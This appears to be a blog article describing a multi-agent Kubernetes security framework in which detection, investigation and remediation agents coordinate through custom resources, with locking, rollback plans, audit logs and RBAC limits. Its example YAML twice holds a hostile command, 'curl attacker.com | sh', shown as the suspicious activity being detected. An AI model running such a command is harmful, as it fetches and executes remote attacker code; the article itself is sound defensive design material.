Multi-Agent Security for Kubernetes: How Detection, Investigation, and Remediation Agents Coordinate Without a Central Controller

Kubernetes security tooling generates thousands of alerts per day. Most organizations run separate systems for runtime detection, vulnerability scanning, compliance checks, and incident response. Each tool produces signals, but connecting those signals into actionable context requires human operators to query multiple dashboards, correlate timestamps, and decide whether a suspicious container actually poses a risk.

A multi-agent security framework replaces that manual correlation loop with autonomous agents that detect anomalies, investigate context, and apply remediation without waiting for a human to connect the dots. The hard part is not the AI models. The hard part is the orchestration plumbing: how agents hand off context, how state is shared across agent boundaries, and what happens when two remediation agents try to fix the same pod at the same time.

Architecture: Three Agent Types, No Central Controller

The framework uses three specialized agent types:

Detection agents watch runtime behavior, admission requests, and network traffic. When they see something suspicious, they emit an event to a shared event bus.
Investigation agents subscribe to detection events, pull additional context from the Kubernetes API, and enrich the event with risk scoring, blast radius analysis, and policy violations.
Remediation agents subscribe to enriched events and apply fixes: quarantine pods, revoke service account tokens, apply network policies, or roll back deployments.

No central controller orchestrates the flow. Each agent type subscribes to events on a message bus (NATS, Kafka, or Kubernetes Events API) and publishes its output back to the bus. This decouples agents and prevents a single point of failure.

Handoff Protocol: How Context Moves Between Agents

When a detection agent spots a suspicious exec command in a pod, it publishes a SecurityEvent custom resource to the cluster:

apiVersion: security.k8s.io/v1
kind: SecurityEvent
metadata:
  name: suspicious-exec-abc123
  namespace: security-events
spec:
  eventType: runtime.exec
  severity: medium
  podName: payment-api-7d8f9
  namespace: production
  command: "/bin/sh -c curl attacker.com | sh"
  timestamp: "2026-06-04T16:05:00Z"
  detectorId: falco-agent-3
status:
  phase: detected
  traceId: trace-abc123

The traceId field is critical. It ties the event to a distributed trace that spans detection, investigation, and remediation. Without it, you lose the ability to audit why an agent made a decision three steps later.

An investigation agent watches for SecurityEvent resources with phase: detected. When it sees one, it:

Queries the Kubernetes API for the pod’s service account, network policies, and parent deployment.
Checks whether the pod has hostNetwork: true or privileged containers.
Looks up whether the namespace has egress restrictions.
Publishes an enriched event with phase: investigated and a risk score.

The investigation agent does not modify the original event. It creates a new SecurityInvestigation resource that references the original event by traceId. This keeps the audit trail intact.

State Management: Preventing Concurrent Remediation Conflicts

Two remediation agents might both decide to quarantine the same pod. Without coordination, one agent applies a network policy while another deletes the pod. The result is a partial fix and a broken audit trail.

The framework uses optimistic locking with Kubernetes resource versions. Before a remediation agent applies a fix, it:

Reads the current SecurityEvent resource and checks the status.remediationLock field.
If the lock is empty, it writes its agent ID and a timestamp to the lock field using a conditional update (compare-and-swap).
If the update succeeds, the agent proceeds. If it fails, another agent won the race and this agent backs off.

status:
  phase: investigated
  riskScore: 85
  remediationLock:
    agentId: remediation-agent-2
    timestamp: "2026-06-04T16:06:00Z"
    action: quarantine

The lock expires after 60 seconds. If the remediation agent crashes mid-fix, another agent can pick up the work. The lock is not a distributed lock primitive (no etcd lease). It is a simple field in a Kubernetes resource, which means it inherits etcd’s consistency guarantees without adding a new dependency.

Rollback: What Happens When Remediation Breaks a Service

Autonomous remediation is risky. A remediation agent might quarantine a pod that turns out to be a false positive, or it might apply a network policy that blocks legitimate traffic.

The framework requires every remediation action to include a rollback plan. When a remediation agent applies a fix, it writes a RemediationAction resource with:

The original state (pod labels, network policies, service account tokens).
The new state (what the agent changed).
A rollback procedure (how to undo the change).

apiVersion: security.k8s.io/v1
kind: RemediationAction
metadata:
  name: quarantine-payment-api-7d8f9
spec:
  traceId: trace-abc123
  action: quarantine
  targetPod: payment-api-7d8f9
  targetNamespace: production
  appliedAt: "2026-06-04T16:06:30Z"
  rollbackPlan:
    removeLabel: "security.k8s.io/quarantined=true"
    restoreNetworkPolicy: original-egress-policy
  autoRollbackAfter: 15m

If the autoRollbackAfter timer expires and no human operator has confirmed the remediation, the framework automatically reverts the change. This prevents a false positive from causing an extended outage.

Human operators can also trigger rollback manually by updating the RemediationAction resource with spec.rollback: true. The remediation agent watches for this field and applies the rollback plan.

Observability: Auditing Agent Decisions After the Fact

When an autonomous agent quarantines a pod at 3 AM, the on-call engineer needs to understand why. The framework exposes three observability hooks:

Distributed traces that span detection, investigation, and remediation. Each agent emits OpenTelemetry spans with the traceId from the original SecurityEvent.
Event logs stored as Kubernetes Events. Every state transition (detected, investigated, remediated, rolled back) generates an event that shows up in kubectl describe.
Decision logs stored in a separate AgentDecision custom resource. Each agent writes a structured log of its reasoning: what data it queried, what rules it evaluated, and why it chose a specific action.

The decision log is not a free-form text field. It is a structured YAML document that can be queried and aggregated:

apiVersion: security.k8s.io/v1
kind: AgentDecision
metadata:
  name: investigation-abc123
spec:
  traceId: trace-abc123
  agentId: investigation-agent-5
  timestamp: "2026-06-04T16:05:45Z"
  inputs:
    podName: payment-api-7d8f9
    namespace: production
    command: "/bin/sh -c curl attacker.com | sh"
  queriedResources:
    - kind: Pod
      name: payment-api-7d8f9
    - kind: NetworkPolicy
      name: production-egress
  evaluatedRules:
    - rule: check-privileged-containers
      result: false
    - rule: check-external-egress
      result: true
  riskScore: 85
  recommendation: quarantine

This structure lets you build dashboards that show which rules are firing most often, which agents are making the most decisions, and where false positives are coming from.

RBAC Boundaries: Scoping Agent Permissions

A compromised detection agent should not be able to delete production pods. The framework uses Kubernetes RBAC to enforce least-privilege boundaries:

Detection agents have read-only access to pod logs, exec sessions, and network flows. They can create SecurityEvent resources but cannot modify pods or deployments.
Investigation agents have read access to all Kubernetes resources in the cluster. They can query pods, services, network policies, and RBAC roles. They cannot modify anything.
Remediation agents have write access to specific resources (pods, network policies, service accounts) but only in namespaces that match a label selector. They cannot modify cluster-wide resources like ClusterRoles.

Each agent runs as a separate service account with its own RBAC policy. If an attacker compromises a detection agent, they can create fake security events but cannot directly harm the cluster. The investigation and remediation agents will evaluate the fake event and discard it if it does not match their risk scoring rules.

Failure Modes and Edge Cases

Failure Mode	Impact	Mitigation
Detection agent crashes mid-event	Event is lost	Detection agents checkpoint state to etcd every 10 seconds
Investigation agent queries stale data	Risk score is inaccurate	Investigation agents use `resourceVersion` to detect stale reads and retry
Remediation agent applies fix but crashes before writing rollback plan	No rollback is possible	Remediation agents write rollback plan before applying fix (two-phase commit)
Two remediation agents both acquire lock due to network partition	Both agents apply conflicting fixes	Kubernetes resource version prevents this (etcd guarantees linearizability)
Human operator manually deletes a quarantined pod	Rollback fails	Rollback procedure checks if target resource still exists before reverting

The most dangerous failure mode is a remediation agent that applies a fix but crashes before writing the rollback plan. The framework mitigates this by requiring agents to write the rollback plan first, then apply the fix. If the agent crashes after writing the rollback plan but before applying the fix, the worst case is a no-op (the fix is never applied, but the rollback plan exists and can be safely ignored).

Deployment Shape

The framework runs as a set of Kubernetes Deployments, one per agent type. Each agent type can scale horizontally:

Detection agents scale based on the number of nodes in the cluster (typically one agent per node, deployed as a DaemonSet).
Investigation agents scale based on event throughput (typically 3-5 replicas with leader election).
Remediation agents scale based on remediation latency requirements (typically 2-3 replicas with leader election).

The event bus is either NATS (for low-latency, in-memory messaging) or Kafka (for durable, ordered event logs). If you use the Kubernetes Events API as the event bus, you get durability and RBAC integration for free, but you lose the ability to replay events and you inherit the performance limitations of etcd.

Technical Verdict

Use this pattern when you need autonomous security response in a Kubernetes cluster with more than 50 nodes and you cannot afford to wait for human operators to correlate alerts. The decoupled agent architecture prevents a single point of failure and makes it easy to add new agent types (compliance agents, cost optimization agents) without modifying existing agents.

Avoid this pattern if your cluster is small (fewer than 20 nodes) or if your security team prefers manual investigation and remediation. The operational complexity of running multiple agent types, managing RBAC policies, and debugging distributed traces is not worth it unless you have a high volume of security events and a need for sub-minute response times.

Also avoid this pattern if your organization does not have a rollback culture. Autonomous remediation will break things. If your team is not comfortable with automated rollbacks and post-incident reviews, you will spend more time firefighting broken remediations than you save on incident response.

Source Links

Building a Multi-Agent Security Framework for Kubernetes

Agentic AI, minus the noise.